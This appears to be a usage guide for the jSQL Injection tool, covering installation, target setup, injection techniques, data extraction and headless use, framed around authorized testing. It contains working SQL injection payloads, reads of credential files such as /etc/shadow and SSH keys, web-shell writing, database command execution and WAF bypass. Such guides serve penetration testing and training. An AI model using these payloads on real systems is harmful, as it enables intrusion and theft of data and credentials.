jSQL Injection
Overview
Section titled “Overview”jSQL Injection is an open-source automated SQL injection testing tool featuring a user-friendly graphical interface. It enables security professionals to detect and exploit SQL injection vulnerabilities in web applications during authorized penetration testing and vulnerability assessment.
The tool supports multiple database systems, injection techniques, and provides automated database enumeration, data extraction, and exploitation capabilities for comprehensive SQL injection testing.
Installation
Section titled “Installation”Prerequisites
Section titled “Prerequisites”- Java Runtime Environment (JRE) 8 or higher
- 2GB RAM minimum
- Network access to target
- GUI environment (X11 on Linux)
Installation Steps
Section titled “Installation Steps”# Download latest release
wget https://github.com/ron190/jsql-injection/releases/download/v0.84/jsql-injection-v0.84.jar
# Verify Java installation
java -version
# Run application
java -jar jsql-injection-v0.84.jar
Linux Installation
Section titled “Linux Installation”# Install Java
sudo apt-get update
sudo apt-get install openjdk-11-jre-headless
# Download jSQL
git clone https://github.com/ron190/jsql-injection.git
cd jsql-injection
# Build from source
mvn clean install
# Run
java -jar target/jsql-injection-*-all.jar
macOS Installation
Section titled “macOS Installation”# Install Java via Homebrew
brew install openjdk@11
export PATH="/usr/local/opt/openjdk@11/bin:$PATH"
# Download and run
wget https://github.com/ron190/jsql-injection/releases/download/v0.84/jsql-injection-v0.84.jar
java -jar jsql-injection-v0.84.jar
Docker Deployment
Section titled “Docker Deployment”# Build Docker image
docker build -t jsql-injection .
# Run with display
docker run -it -e DISPLAY=$DISPLAY \
-v /tmp/.X11-unix:/tmp/.X11-unix \
jsql-injection
# Headless with API mode
docker run -d -p 8080:8080 jsql-injection --api
GUI Fundamentals
Section titled “GUI Fundamentals”Main Interface Components
Section titled “Main Interface Components”| Component | Purpose |
|---|---|
| URL Bar | Target URL input field |
| Injection Panel | Configure injection parameters |
| Method Selector | GET/POST/HTTP method |
| Database Type | MySQL, PostgreSQL, Oracle, SQL Server |
| Payload Panel | View generated payloads |
| Results Pane | Display retrieved data |
| Console Tab | Technical details and logs |
Starting jSQL
Section titled “Starting jSQL”# Launch GUI
java -jar jsql-injection-v0.84.jar
# GUI loads with:
# - Target URL input field
# - HTTP method selector (GET/POST)
# - Database selection dropdown
# - Injection technique options
# - Results display panels
Target Configuration
Section titled “Target Configuration”Setting Up Target URL
Section titled “Setting Up Target URL”# Enter URL in target field
# Examples:
http://target.com/page.php?id=1
https://site.com/search.php?q=user
# jSQL works with:
# - GET parameters: ?id=1
# - POST form data
# - HTTP headers (User-Agent, Cookie, etc.)
# - AJAX requests
# URL variations
http://target.com/page.php?id=1 # Basic parameter
http://target.com/page.php?id=1' # Test parameter
http://target.com/page.php?id=1' AND '1'='1 # Manual test
http://target.com/page.php?id=1) AND ('1'='1 # Parenthesis context
HTTP Method Configuration
Section titled “HTTP Method Configuration”# Select method through GUI dropdown
# GET Request
# - Parameters in URL query string
# - jSQL appends payloads to URL
# POST Request
# - Parameters in request body
# - Configure in POST data field
# - Form parameters sent in body
# Custom Headers
# - User-Agent injection
# - Cookie injection
# - Custom header values
# - Referer manipulation
Request Configuration
Section titled “Request Configuration”# Configure POST data
username=admin&password=test
# Add multiple parameters
id=1&name=test&email=user@site.com
# Cookie-based injection
# Insert into Cookie field in jSQL
sessionid=abc123def456
# Header injection
# X-Custom-Header: value'
# User-Agent injection
# Mozilla/5.0' OR '1'='1
Database Detection and Configuration
Section titled “Database Detection and Configuration”Automatic Database Detection
Section titled “Automatic Database Detection”# jSQL attempts detection through:
# 1. Error messages (MySQL, PostgreSQL, Oracle)
# 2. Timing-based responses
# 3. Payload-specific reactions
# 4. DBMS fingerprinting
# Supported databases:
# - MySQL
# - PostgreSQL
# - Oracle
# - Microsoft SQL Server
# - SQLite
# - H2
# - Sybase
# - IBM DB2
Manual Database Selection
Section titled “Manual Database Selection”# Through GUI:
# Database dropdown menu selection
# Testing each database:
# 1. Enter URL
# 2. Select database type from dropdown
# 3. Configure parameters
# 4. Run detection/exploitation
# 5. jSQL tests with appropriate payloads
Injection Techniques
Section titled “Injection Techniques”Boolean-Based Blind Injection
Section titled “Boolean-Based Blind Injection”# jSQL configuration:
# - Select "Boolean" detection method
# - Configure TRUE/FALSE responses
# - Set comparison logic
# Method flow:
# 1. jSQL injects conditions: AND 1=1 (true), AND 1=2 (false)
# 2. Compares response differences
# 3. Extracts data bit-by-bit
# 4. Slower but stealthy
# Example payloads:
id=1' AND '1'='1 # True response
id=1' AND '1'='2 # False response
id=1' AND SUBSTRING(database(),1,1)='m' # Extract data
Time-Based Blind Injection
Section titled “Time-Based Blind Injection”# jSQL configuration:
# - Select "Time" detection method
# - Set time threshold (default: 5 seconds)
# - Configure delay mechanism
# Method flow:
# 1. Inject delays: SLEEP(5), BENCHMARK(1000000, MD5('a'))
# 2. Measure response time
# 3. Infer true/false from timing
# 4. Extract data through delays
# Example payloads:
id=1' AND SLEEP(5) AND '1'='1 # True = 5+ sec delay
id=1' AND SLEEP(0) AND '1'='1 # False = no delay
id=1' AND IF(1=1, SLEEP(5), 0) # Conditional delay
Error-Based Injection
Section titled “Error-Based Injection”# jSQL configuration:
# - Select "Error" technique
# - Enable error message display
# - Configure response parsing
# Method flow:
# 1. Craft payloads triggering errors
# 2. Parse database error messages
# 3. Extract data from error content
# 4. Fastest method but noisier
# Example payloads:
id=1' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
id=1' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -
id=1' UNION ALL SELECT NULL,database()-- -
UNION-Based Injection
Section titled “UNION-Based Injection”# jSQL configuration:
# - Determine column count
# - Identify column data types
# - Build UNION queries
# Automatic column detection:
# 1. Try incremental UNION SELECT statements
# 2. Identify number of columns
# 3. Test each column for data extraction
# 4. Build final exploitation query
# Example payloads:
id=1' UNION SELECT NULL,NULL,NULL-- -
id=1' UNION SELECT database(),user(),version()-- -
id=1' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()-- -
Database Enumeration
Section titled “Database Enumeration”Discovering Database Structure
Section titled “Discovering Database Structure”# Through jSQL GUI:
# 1. Tabs appear after successful detection
# - Database tab
# - Tables tab
# - Columns tab
# - Data tab
# Automatic enumeration:
# - Select target database from dropdown
# - jSQL retrieves table list
# - Expand tables to see columns
# - Extract data on demand
# Key information retrieved:
# - Database names
# - Table names
# - Column names and types
# - Data contents
# - User information
Table Enumeration
Section titled “Table Enumeration”# Via jSQL interface:
# 1. Click "Database" tab
# 2. Select database from list
# 3. jSQL auto-loads tables
# 4. Click table to expand columns
# 5. View column names and inferred types
# Alternative manual enumeration:
# Query: SELECT table_name FROM information_schema.tables
# WHERE table_schema=database()
# Common tables to check:
# - users / accounts / admin
# - products / items / content
# - orders / transactions
# - logs / activity
# - configuration / settings
Data Extraction
Section titled “Data Extraction”# jSQL workflow:
# 1. Navigate to target table
# 2. Click "Dump" or "Extract" button
# 3. jSQL retrieves all records
# 4. Display in results panel
# 5. Export to file if needed
# Size limitations:
# - Adjust chunk size for large tables
# - jSQL handles pagination
# - Progress shown during extraction
# - Partial results available immediately
Exploitation Techniques
Section titled “Exploitation Techniques”File Reading
Section titled “File Reading”# MySQL file reading:
# SELECT LOAD_FILE('/etc/passwd')
# SELECT LOAD_FILE('C:\\windows\\win.ini')
# jSQL exploitation:
# 1. Select "File" option if available
# 2. Enter file path
# 3. jSQL constructs payload
# 4. Retrieve file contents
# Common target files:
# Linux:
# /etc/passwd
# /etc/shadow
# /root/.ssh/id_rsa
# /var/www/html/config.php
# /home/user/.bash_history
# Windows:
# C:\\windows\\win.ini
# C:\\windows\\system32\\config\\SAM
# C:\\inetpub\\wwwroot\\web.config
File Writing
Section titled “File Writing”# MySQL file writing (if privileges allow):
# SELECT ... INTO OUTFILE '/path/to/file'
# jSQL method:
# 1. Select "File Write" option
# 2. Enter target path
# 3. Provide payload content
# 4. jSQL writes to file
# Exploitation scenarios:
# - Write web shell to web directory
# - Create .php backdoor
# - Modify configuration files
# - Insert malicious code
Command Execution
Section titled “Command Execution”# Database system command execution:
# MySQL (if UDF available):
# sys_exec()
# MSSQL:
# xp_cmdshell
# PostgreSQL:
# copy (SELECT '') to program 'command'
# jSQL checks and attempts:
# 1. Detect DB system
# 2. Check for execution functions
# 3. Construct payload
# 4. Execute and retrieve output
Advanced Features
Section titled “Advanced Features”Payload Generation
Section titled “Payload Generation”# jSQL generates payloads for:
# - Current injection technique
# - Selected database type
# - Configured encoding
# - Bypass filters if applicable
# View generated payload:
# Check "Console" tab in jSQL
# Shows raw SQL being executed
# Useful for understanding injection
# Custom payloads:
# If automatic fails, craft manual payloads
# Copy from console
# Modify and retest
# jSQL provides template
Filter Bypass
Section titled “Filter Bypass”# jSQL includes bypass techniques for:
# Comment removal filters
# - Use alternative comment syntax
# - MySQL: /*! code */
# - Nested comments
# Keyword filters
# - Case variation: SELECT, select, sELeCt
# - URL encoding: %53%45%4c%45%43%54
# - Unicode encoding
# - Hex encoding
# Whitespace filters
# - Tab characters: \t
# - Newline characters: \n
# - Parenthesis: UNION()SELECT
# Encoding options in jSQL:
# - URL encoding
# - Hex encoding
# - Double URL encoding
# - Unicode encoding
Proxy and Network Configuration
Section titled “Proxy and Network Configuration”# Configure through Settings/Preferences:
# Proxy settings:
# - HTTP proxy address
# - Proxy port
# - Authentication credentials
# - SOCKS proxy support
# SSL/TLS options:
# - Certificate verification
# - Self-signed certificate handling
# - Client certificate configuration
# Connection settings:
# - Timeout duration
# - Retry attempts
# - Connection pool size
# - User agent configuration
Data Export and Reporting
Section titled “Data Export and Reporting”Export Retrieved Data
Section titled “Export Retrieved Data”# jSQL export options:
# - CSV format
# - JSON format
# - XML format
# - SQL INSERT statements
# - Text file
# Export from GUI:
# 1. Select data in results pane
# 2. Right-click → Export
# 3. Choose format
# 4. Select location
# 5. jSQL saves file
# Command-line export (if available):
java -jar jsql-injection.jar \
--url="http://target.com/?id=1" \
--database=mysql \
--export=csv \
--output-file=results.csv
Generate Reports
Section titled “Generate Reports”# Documentation of findings:
# Information to document:
# - Target URL
# - Injection point (parameter name)
# - Injection technique used
# - DBMS identified
# - Databases accessible
# - Tables and columns retrieved
# - Sample extracted data
# - Severity assessment
# Sample report content:
cat > SQL_Injection_Report.txt << EOF
Target: http://target.com
Parameter: id
Technique: Error-based Union
DBMS: MySQL 5.7.14
Databases: information_schema, mysql, test, application
Tables in 'application':
- users (id, username, password, email)
- products (id, name, price, stock)
- orders (id, user_id, product_id, amount)
Sample data retrieved:
- User count: 152
- Admin users: 3
- Default configuration: Yes
EOF
Command Line Interface
Section titled “Command Line Interface”Headless Mode Operation
Section titled “Headless Mode Operation”# Run without GUI:
java -jar jsql-injection.jar \
--url="http://target.com/?id=1" \
--technique=error \
--database=mysql
# Output results to file:
java -jar jsql-injection.jar \
--url="http://target.com/?id=1" \
--output=/path/to/results.txt
# Batch testing:
java -jar jsql-injection.jar \
--list-of-urls=targets.txt \
--batch-mode
Best Practices
Section titled “Best Practices”Authorized Testing
Section titled “Authorized Testing”- Obtain written authorization before testing
- Define clear scope and boundaries
- Test on dedicated test systems when possible
- Notify infrastructure teams in advance
- Document all activities and findings
- Follow responsible disclosure procedures
- Maintain confidentiality of data accessed
Testing Methodology
Section titled “Testing Methodology”# 1. Reconnaissance Phase
# - Identify vulnerable parameters
# - Test basic SQLi syntax
# - Determine database type
# - Assess difficulty level
# 2. Exploitation Phase
# - Select optimal technique
# - Extract database structure
# - Retrieve sensitive data
# - Assess data sensitivity
# 3. Analysis Phase
# - Document vulnerabilities
# - Determine severity
# - Identify root cause
# - Recommend fixes
# 4. Reporting Phase
# - Detail findings
# - Provide proof of concept
# - Suggest remediation
# - Support remediation efforts
Safe Testing Guidelines
Section titled “Safe Testing Guidelines”# Prevention measures:
# - Test on staging systems
# - Create snapshots before testing
# - Limit scope to assigned areas
# - Avoid data modification (read-only testing)
# - Document baseline before testing
# - Monitor for unexpected behavior
# Testing workflow:
# 1. Start with information gathering
# 2. Minimal impact testing first
# 3. Progress to exploitation
# 4. Stop testing once confirmed
# 5. Clean up and document
Troubleshooting
Section titled “Troubleshooting”Common Issues
Section titled “Common Issues”| Issue | Solution |
|---|---|
| Target not responding | Check connectivity, verify URL, adjust timeout |
| No SQLi detected | Target may be patched, try other parameters |
| Database type wrong | Verify through error messages, test manually |
| Data extraction slow | Adjust technique, increase timeout, reduce data size |
| WAF blocking requests | Use proxy, change encoding, adjust timing |
Debug and Logging
Section titled “Debug and Logging”# Enable verbose output:
java -jar jsql-injection.jar \
--url="http://target.com/?id=1" \
--verbose
# Check console tab in GUI for:
# - Generated payloads
# - Server responses
# - Detection details
# - Error messages
# Common error messages:
# "No DBMS detected" - SQLi not present or filtered
# "Connection timeout" - Network or firewall issue
# "403 Forbidden" - WAF blocking requests
See Also
Section titled “See Also”- SQLMap automated SQL injection tool
- OWASP SQL Injection prevention guide
- SQL injection attack methodologies
- Web application security testing frameworks
- Database security hardening
- Prepared statements and parameterized queries